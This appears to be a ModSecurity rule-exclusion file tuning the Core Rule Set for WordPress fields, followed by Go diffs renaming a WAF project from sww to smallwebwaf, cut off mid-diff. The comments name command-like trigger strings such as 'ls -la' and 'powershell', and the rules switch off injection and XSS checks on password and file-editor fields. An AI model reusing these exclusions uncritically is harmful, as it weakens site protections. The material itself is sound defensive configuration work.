# A reply to a comment from the list of comments, in content:
# 932125: ls -la, in the reply's text
# 932230: ls -la, in the reply's text
# 932250: ls -la, in the reply's text
SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
"id:900702,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:content "@eq 0" \
"ctl:ruleRemoveTargetById=932125;ARGS:content,\
ctl:ruleRemoveTargetById=932230;ARGS:content,\
ctl:ruleRemoveTargetById=932250;ARGS:content"
# Saving a plugin's or a theme's file from its file editor sends the file in
# newcontent, which skips these rules, each of which refused saving the plugin
# Hello Dolly's hello.php. Some of them refused only the whole file:
# 932140: if ( 'en_' !== substr(
# 932235: the whole file
# 933100: the whole file
# 933160: if ( 'en_' !== substr(
# 933210: $lyrics = explode(
# 941100: <style type='text/css'>
# 941160: <style type='text/css'>
# 941190: the whole file
# 942151: if ( 'en_' !== substr(
# 942540: Dolly'll never go away again";
SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
"id:900703,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:newcontent "@eq 0" \
"ctl:ruleRemoveTargetById=932140;ARGS:newcontent,\
ctl:ruleRemoveTargetById=932235;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933100;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933160;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933210;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941100;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941160;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941190;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, which skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
# The other passwords, which skip the same rules:
# pass1, pass2: resetting the password at /wp-login.php, changing it on the
# profile page and the page that edits a user, and adding a user; a
# multisite install also changes it on network/user-edit.php,
# network/profile.php and user/profile.php
# post_password: the password of a protected post, sent to /wp-login.php
SecRule REQUEST_FILENAME "@rx ^/(?:wp-login\.php|wp-admin/(?:profile|user-edit|user-new|network/user-edit|network/profile|user/profile)\.php)$" \
"id:900715,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:pass[12]|post_password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass[12]|post_password)$/"
# Creating or editing a user through the REST API, in password, in form data or
# JSON, which skips the same rules.
SecRule TX:rest_route "@rx ^/wp/v2/users(?:/(?:me|[0-9]+))?$" \
"id:900716,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
# 932120 and 932260:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule TX:rest_route "@beginsWith /wp/v2/" "id:900712,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:title|excerpt|slug|name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:title|excerpt|name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:title|excerpt|slug|name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:title|excerpt|name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:title|excerpt|slug|name)$/"
# A comment's author gives the address of their site in url, which skips these
# rules there:
# 930120: http://blog.example/.htaccess
# 932120: http://blog.example/powershell-basics/
SecRule REQUEST_FILENAME "@streq /wp-comments-post.php" \
"id:900713,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:url "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The block editor's link previews and embeds send an address in url, which
# skips these rules there:
# 930120: http://blog.example/.htaccess
# 932120: http://blog.example/powershell-basics/
SecRule TX:rest_route "@rx ^/(?:wp-block-editor/v1/url-details|oembed/1\.0/proxy)$" \
"id:900714,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The plugin and theme file editors name the file open in file, which skips
# these rules there:
# 930120: akismet/views/config.php
# 932120: install-script.sh
# 932160: bin/install.sh
# 932260: docker-compose.yml
# 941180: document.write.js
SecRule REQUEST_FILENAME "@rx ^/wp-admin/(?:plugin|theme)-editor\.php$" \
"id:900709,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932160;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file"
# Searches, the names of tags, categories, plugins, themes and plugins' settings
# pages, and addresses can hold any word. In the fields of the next three rules,
# each request skips the rules that refused such words:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# An address repeats the search it came from, so only the addresses of the first
# group also skip:
# 932235: python3, in the address of a page of results
# All of wp-admin, and signing in. A plugin's settings page is named in page.
# The site editor names a template in p and postId, and a plugin to install is
# named in slug. WordPress writes these three as slugs, such as htaccess or
# ls-la, so they skip only 932120 and 932260. Names are matched in lower case,
# so postId is written postid.
SecRule REQUEST_FILENAME "@rx ^/(?:wp-admin/|wp-login\.php$)" \
"id:900707,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|p|postid|slug|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|p|postid|slug|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/"
# Every route of WordPress's own REST API, and the embed address each post links
# to.
SecRule TX:rest_route "@rx ^/(?:wp/v2/|oembed/1\.0/embed$)" \
"id:900708,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|slug|url)$/"
# The site's own pages, and the later pages of a search.
SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$" \
"id:900710,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|tag)$/"
# The media list sends its own address in _wp_http_referer, which ends in &ps and
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
+9 -19
View File
@@ -24,9 +24,9 @@ const quietTime = 2 * time.Second
// FileParams are what OpenFile needs.
type FileParams struct {
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
// (SWW_LOOKUP_DB_PATH).
// (SWWAF_LOOKUP_DB_PATH).
Path string
// Now tells the time, normally time.Now in UTC.
// Now tells the time, normally time.Now.
Now func() time.Time
// ProcessLog receives each reading of the file, and why a replacement
// of it cannot be read.
@@ -51,7 +51,7 @@ type File struct {
}
// record is what the lookup database holds about a network, of the fields
// sww reads.
// smallwebwaf reads.
type record struct {
ASN string `maxminddb:"asn"`
ASName string `maxminddb:"as_name"`
@@ -133,11 +133,8 @@ func (f *File) Watch(ctx context.Context) {
}
if err != nil {
f.params.ProcessLog.Error(
"cannot watch the lookup database for replacements",
"error",
err.Error(),
)
f.params.ProcessLog.Error("cannot watch the lookup database for replacements",
"error", err.Error())
return
}
@@ -197,10 +194,7 @@ func (f *File) readAgain() {
f.params.Alerts.Raise(alerts.Alert{
Event: alerts.EventFileError,
Reason: kept,
Detail: map[string]any{
"file": f.params.Path,
"error": err.Error(),
},
Detail: map[string]any{"file": f.params.Path, "error": err.Error()},
})
f.params.ProcessLog.Error(kept, "error", err.Error())
@@ -218,11 +212,7 @@ func (f *File) use(reader *maxminddb.Reader) {
f.lastRead = f.params.Now()
f.mu.Unlock()
f.params.ProcessLog.Info(
"read the lookup database",
"file",
f.params.Path,
)
f.params.ProcessLog.Info("read the lookup database", "file", f.params.Path)
}
// read reads the lookup database at path. The whole file is read into
@@ -231,12 +221,12 @@ func (f *File) use(reader *maxminddb.Reader) {
func read(path string) (*maxminddb.Reader, error) {
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
if err != nil {
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH cannot be read: %w", err)
}
reader, err := maxminddb.OpenBytes(data)
if err != nil {
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
}
return reader, nil
+3 -3
View File
@@ -99,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
writeFile(t, notDatabase, "not a lookup database\n")
for path, want := range map[string]string{
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing +
": no such file or directory",
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase +
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
} {
_, err := OpenFile(FileParams{
@@ -216,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
Reason: "the lookup database cannot be read, and the one read before stays in use",
Detail: map[string]any{
"file": path,
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error opening database: invalid MaxMind DB file",
},
})
+6 -6
View File
@@ -1,6 +1,6 @@
// Package lookup looks up each client's AS number and country, through
// the GeoJS web service or in the lookup database, the IPinfo Lite file
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// most 100,000 clients and for 7 days each, and are written to
// lookups.json and read from it by the state package.
package lookup
@@ -66,7 +66,7 @@ type Params struct {
URL string
// Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned
// (SWW_LOOKUP_TIMEOUT).
// (SWWAF_LOOKUP_TIMEOUT).
Timeout time.Duration
// Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one.
@@ -74,7 +74,7 @@ type Params struct {
// Answered, unless nil, is given each answer GeoJS gives, once it is
// kept.
Answered func(Answer)
// Now tells the time, normally time.Now in UTC.
// Now tells the time, normally time.Now.
Now func() time.Time
// ProcessLog receives GeoJS's failures.
ProcessLog *slog.Logger
@@ -198,7 +198,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
answer, found := g.kept(client)
if !found {
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
g.metrics.GeoJSUnanswered.Inc()
}
w, waiting := g.waiting[client]
@@ -296,7 +296,7 @@ func (g *GeoJS) answerOrWait(
}
if w == nil {
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
g.metrics.GeoJSUnanswered.Inc()
return Answer{}, nil // too many clients wait already
}
@@ -307,7 +307,7 @@ func (g *GeoJS) answerOrWait(
}
if w.late {
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
g.metrics.GeoJSUnanswered.Inc()
return Answer{}, nil
}
+8 -8
View File
@@ -362,7 +362,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
mu.Unlock()
wantCountry(t, g, client, germany)
wantRequestsWithoutGeoJSAnswer(t, m, 0)
wantUnanswered(t, m, 0)
})
}
@@ -596,7 +596,7 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
// GeoJS fails, so the first client goes without an answer, and GeoJS
// is left alone for a second, which does not pass in this test.
wantCountry(t, g, clients(), "")
wantRequestsWithoutGeoJSAnswer(t, m, 1)
wantUnanswered(t, m, 1)
// Meanwhile each new client goes without one at once, while there is
// room for it among the 10,000 that may wait.
@@ -604,11 +604,11 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
wantCountry(t, g, clients(), "")
}
wantRequestsWithoutGeoJSAnswer(t, m, 10000)
wantUnanswered(t, m, 10000)
// One more, for which there is no room, goes without one too.
wantCountry(t, g, clients(), "")
wantRequestsWithoutGeoJSAnswer(t, m, 10001)
wantUnanswered(t, m, 10001)
})
}
@@ -841,12 +841,12 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
}
}
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// gone without an answer from GeoJS.
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
// wantUnanswered checks how many requests m counts as having gone without
// an answer from GeoJS.
func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) {
t.Helper()
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
got := testutil.ToFloat64(m.GeoJSUnanswered)
if got != want {
t.Errorf("%v requests went without an answer, want %v", got, want)
}
+1 -1
View File
@@ -17,7 +17,7 @@ import (
const fileMode = 0o600
// Network is what a lookup database holds about a netblock, of the fields
// sww reads: its AS number, such as AS64496, the AS's name, and
// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and
// its country, such as DE.
type Network struct {
ASN string
+7 -7
View File
@@ -25,7 +25,7 @@ type busiest struct {
requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec
responseBytes *prometheus.CounterVec
// refused are, by country, the requests the country list refused; nil
// refused are, by country, the requests the country lists refused; nil
// by AS number.
refused *prometheus.CounterVec
@@ -41,8 +41,8 @@ type busiest struct {
// for the topN busiest countries.
func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec("sww_country_list_refusals_total",
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
countries.refused = counterVec("smallwebwaf_country_list_refusals_total",
"Requests the country lists refused, by the client's country.",
[]string{"country"})
return countries
@@ -61,11 +61,11 @@ func newBusiest(topN int, label, description string) *busiest {
return &busiest{
topN: topN,
requests: counterVec("sww_"+label+"_requests_total",
requests: counterVec("smallwebwaf_"+label+"_requests_total",
"Requests, by "+description+".", by),
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total",
"Request body bytes, by "+description+".", by),
responseBytes: counterVec("sww_"+label+"_response_bytes_total",
responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total",
"Response body bytes, by "+description+".", by),
seen: map[string]int64{},
top: map[string]bool{},
@@ -88,7 +88,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
}
// vecs returns the metrics: by AS number, those of requests and bytes; by
// country, the refusals by the country list as well.
// country, the refusals by the country lists as well.
func (b *busiest) vecs() []*prometheus.CounterVec {
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
if b.refused != nil {
+75 -77
View File
@@ -1,4 +1,4 @@
// Package metrics keeps sww's Prometheus metrics, as
// Package metrics keeps smallwebwaf's Prometheus metrics, as
// docs/metrics.md lists them, and serves them in the Prometheus text
// format, as the "Metrics endpoint" section of SPEC.md requires. No
// metric carries a client's address.
@@ -22,7 +22,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// Metrics are sww's metrics. They are safe for concurrent use.
// Metrics are smallwebwaf's metrics. They are safe for concurrent use.
type Metrics struct {
// registry gives every metric registered with it the label instance.
registry prometheus.Registerer
@@ -36,7 +36,7 @@ type Metrics struct {
upstreamDuration prometheus.Histogram
rateLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec
coreRuleSetMatches *prometheus.CounterVec
wafMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by
// AddReputation.
ruleMatches *prometheus.CounterVec
@@ -45,12 +45,12 @@ type Metrics struct {
asns *busiest
// GeoJSRequests are the requests to GeoJS, and GeoJSFailures those
// that failed. RequestsWithoutGeoJSAnswer are the requests that needed
// their client's answer, for a setting that acts on it, and went on
// without it because GeoJS had not given it in time.
// that failed. GeoJSUnanswered are the requests that needed their
// client's answer, for a setting that acts on it, and went on without
// it because GeoJS had not given it in time.
GeoJSRequests prometheus.Counter
GeoJSFailures prometheus.Counter
RequestsWithoutGeoJSAnswer prometheus.Counter
GeoJSUnanswered prometheus.Counter
stateFileWrites *prometheus.CounterVec
stateFileWriteFailures *prometheus.CounterVec
@@ -62,8 +62,8 @@ type Metrics struct {
// New returns the metrics, with the Go runtime's and the process's own.
// topN is how many countries and how many AS numbers get series of their
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
// (SWW_INSTANCE_NAME) as its label instance.
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics {
@@ -76,63 +76,61 @@ func New(topN int, instanceName string) *Metrics {
prometheus.Labels{"instance": instanceName}, registry),
handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}),
inFlight: prometheus.NewGauge(prometheus.GaugeOpts{
Name: "sww_requests_in_flight",
Name: "smallwebwaf_requests_in_flight",
Help: "Requests under way.",
}),
requests: counterVec("sww_requests_total",
requests: counterVec("smallwebwaf_requests_total",
"Requests, by the class of their status and their action.", byStatus),
requestBytes: counterVec("sww_request_bytes_total",
requestBytes: counterVec("smallwebwaf_request_bytes_total",
"Request body bytes, by the class of the status and the action.",
byStatus),
responseBytes: counterVec("sww_response_bytes_total",
responseBytes: counterVec("smallwebwaf_response_bytes_total",
"Response body bytes, by the class of the status and the action.",
byStatus),
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "sww_request_duration_seconds",
Name: "smallwebwaf_request_duration_seconds",
Help: "How long requests took, from their arrival to their end.",
}),
upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "sww_upstream_duration_seconds",
Name: "smallwebwaf_upstream_duration_seconds",
Help: "How long requests passed to the app took, from then to their end.",
}),
rateLimitHits: counterVec("sww_rate_limit_hits_total",
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}),
offences: counterVec("sww_offences_total",
offences: counterVec("smallwebwaf_offences_total",
"Offences, by kind.", []string{"kind"}),
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
wafMatches: counterVec("smallwebwaf_waf_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_geojs_requests_total",
Name: "smallwebwaf_geojs_requests_total",
Help: "Requests to GeoJS.",
}),
GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_geojs_failures_total",
Name: "smallwebwaf_geojs_failures_total",
Help: "Requests to GeoJS that failed.",
}),
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_requests_without_geojs_answer_total",
GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{
Name: "smallwebwaf_geojs_unanswered_total",
Help: "Requests that needed their client's answer from GeoJS and " +
"went on without it, because GeoJS had not given it in time.",
}),
stateFileWrites: counterVec("sww_state_file_writes_total",
"Writes of each state or cache file.", byFile),
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
"Writes of each state or cache file that failed.", byFile),
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
"When each state or cache file was last written, in seconds since 1970.",
byFile),
stateFileSize: gaugeVec("sww_state_file_size_bytes",
"The size of each state or cache file, as it was last written.", byFile),
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
"Edits of each state or cache file taken in while running.", byFile),
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
"Edits of each state or cache file renamed to <name>.bad because they "+
"did not parse.",
stateFileWrites: counterVec("smallwebwaf_state_file_writes_total",
"Writes of each state file.", byFile),
stateFileWriteFailures: counterVec("smallwebwaf_state_file_write_failures_total",
"Writes of each state file that failed.", byFile),
stateFileLastWrite: gaugeVec("smallwebwaf_state_file_last_write_timestamp_seconds",
"When each state file was last written, in seconds since 1970.", byFile),
stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes",
